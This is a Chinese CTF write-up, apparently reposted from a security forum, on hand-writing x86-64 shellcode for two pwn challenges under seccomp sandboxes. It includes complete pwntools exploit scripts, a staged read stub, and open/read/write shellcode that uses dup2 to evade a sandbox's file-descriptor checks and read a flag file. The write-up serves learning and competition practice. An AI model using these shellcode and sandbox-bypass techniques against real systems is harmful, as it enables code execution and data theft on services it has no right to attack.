how2手写shellcode
2023-9-5 17:0:43 Author: xz.aliyun.com(查看原文) 阅读量:4 收藏

羊城杯shellcode怎么写都绕不过,痛定思痛决定好好学一下怎么手写shellcode

本文通过例题介绍一下如何手写shellcode来实现我们想要的功能,对于使用工具主动生成shellcode就不再赘述

hgame2023-simple_shellcode

保护全开,沙箱禁system

存在可写可执行段,可以构造shellcode送入此处,但read只能读入0x10大小

由于程序只执行一次,且可利用空间较小无法构造orw,所以构造read(0,0xcafe0000,0x1000)

下面再读入构造的orw

sc = asm('''
xor eax, eax 
xor edi, edi 
mov edx, 0x1000
mov esi, 0xcafe0000
syscall
''')
#syscall(0,0,0xcafe0000,0x1000)

exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
#from ae64 import AE64
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"

name = './vuln'

debug = 0
if debug:
    p = remote('127.0.0.1',9999)
else:
    p = process(name)

#libcso = '/lib/x86_64-linux-gnu/libc.so.6'
libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()

sc = asm('''
xor eax, eax
xor edi, edi
mov edx, 0x1000
mov esi, 0xcafe0000
syscall
''')
ru(b"shellcode:")
dbg()
s(sc)

shellcode = b"\x90" * 0x100
shellcode += asm(shellcraft.open("/flag"))
shellcode += asm(shellcraft.read(3, 0xCAFE0500, 0x500))
shellcode += asm(shellcraft.write(1, 0xCAFE0500, 0x500))

p.send(shellcode)

itr()

羊城杯2023-shellcode

静态分析:

主函数:

进入分支

程序对读入的内容进行限制,要求输入字符十六进制ascii码在0x79-0x95​之间,即OPQRSTUVWXYZ[]^_

同时检查 v4​ 相对于 s​ 数组的偏移是否等于16字节,不过可以多写一位,即输入内容限制在17字节大小

我们可以看到启动沙箱后会去执行我们写入的内容

0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002  if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000021  if (A == dup2) goto 0019
0007: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0013
0008: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
0009: 0x25 0x0a 0x00 0x00000000  if (A > 0x0) goto 0020
0010: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0019
0011: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
0012: 0x25 0x07 0x06 0x00000002  if (A > 0x2) goto 0020 else goto 0019
0013: 0x15 0x00 0x06 0x00000001  if (A != write) goto 0020
0014: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count)
0015: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0019
0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
0018: 0x25 0x00 0x01 0x00000002  if (A <= 0x2) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0020: 0x06 0x00 0x00 0x00000000  return KILL

stack段可写可执行,但对shellcode的限制相当大

首先要绕过if判断,17字节大小内的shellcode显然不够,我们还需要进一步续写shellcode并能绕过沙箱去读到flag

动态调试:
ru(b'[2] Input: (ye / no)\n')
s(asm('syscall'))

绕过if判断进入分支同时写入syscall

编写shellcode设置寄存器,构造一次read,利用传入的syscall(x05x0f)作为read的rdx参数

最终构造好syscall(0,0,syscall_addr,0x50f)全部参数后跳转到syscall地址处进行系统调用来续写,并继续执行

push rbx #rsp 0;start_addr-0x8 (start0x2478)
pop rax #1 rax 0;start_addr
pop rsi #+8
pop rsi #+8

pop rsi #2 三次pop赋rsi start+0x68 <- 0x50f;start_addr+0x18
push rax #rsp 0;start_addr+0x10
pop rdi #3 rdi 0
pop rdx #+8

push rsi #rsp start+0x68 <- 0x50f;start_addr+0x18
pop rsp #rsp start+0x68 <- 0x50f;start+0x68
pop rdx #4 rdx 0x50f
push rdx #start+0x68

push rsi #start+0x68-0x8
push rax #-8
pop rax #+8
push rsi #rsp start+0x68<-0x50f;start+0x68-0x10

ret #start+0x68 syscall

#syscall(0,0,start+0x68,0x50f)
绕过沙箱orw+dup2:
sc1 = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 0x2
pop rax
syscall
mov rax,0x21
mov rdi,0x3
mov rsi,0x2
syscall
xor rax,rax
mov rsi,rsp
push 0x2
pop rdi
mov rdx,0x30
syscall
mov rax,0x21
mov rdi,0x1
mov rsi,0x5
syscall
mov rax,0x1
mov rsi,rsp
mov rdi,0x5
syscall
''') 
s(b'aa'+sc1)

补两字节对齐

open('flag')

dup2(3,2)

read(2,'flag',0x30)

dup2(1,5)

write(5,start+0x58,0x30)

exp:
# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64

# from ae64 import AE64
# from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"

name = './pwn'

debug = 0
if debug:
    p = remote('127.0.0.1',8000)
else:
    p = process(name)

libcso = '/lib/x86_64-linux-gnu/libc.so.6'
#libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))

context.terminal = ['gnome-terminal','-x','sh','-c']

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()


ru(b'[2] Input: (ye / no)\n')
s(asm('syscall'))

ru(b'======\n')

sc0=asm('''
push rbx
pop rax
pop rsi
pop rsi
pop rsi
push rax
pop rdi
pop rdx
push rsi
pop rsp
pop rdx
push rdx
push rsi
push rax
pop rax
push rsi
ret
''')
#dbg()
s(sc0)

sc1 = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 0x2
pop rax
syscall
mov rax,0x21
mov rdi,0x3
mov rsi,0x2
syscall
xor rax,rax
mov rsi,rsp
push 0x2
pop rdi
mov rdx,0x30
syscall
mov rax,0x21
mov rdi,0x1
mov rsi,0x5
syscall
mov rax,0x1
mov rsi,rsp
mov rdi,0x5
syscall
''') 
pause()
s(b'aa'+sc1)


itr()

参考:

感谢师傅们的文章和wp:

2023年“羊城杯”网络安全大赛Writeup (qq.com)

羊城杯 2023 Writeup - 星盟安全团队 (xmcve.com)

手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南_TaQini852的博客-CSDN博客


文章来源: https://xz.aliyun.com/t/12828
如有侵权请联系:admin#unsafe.sh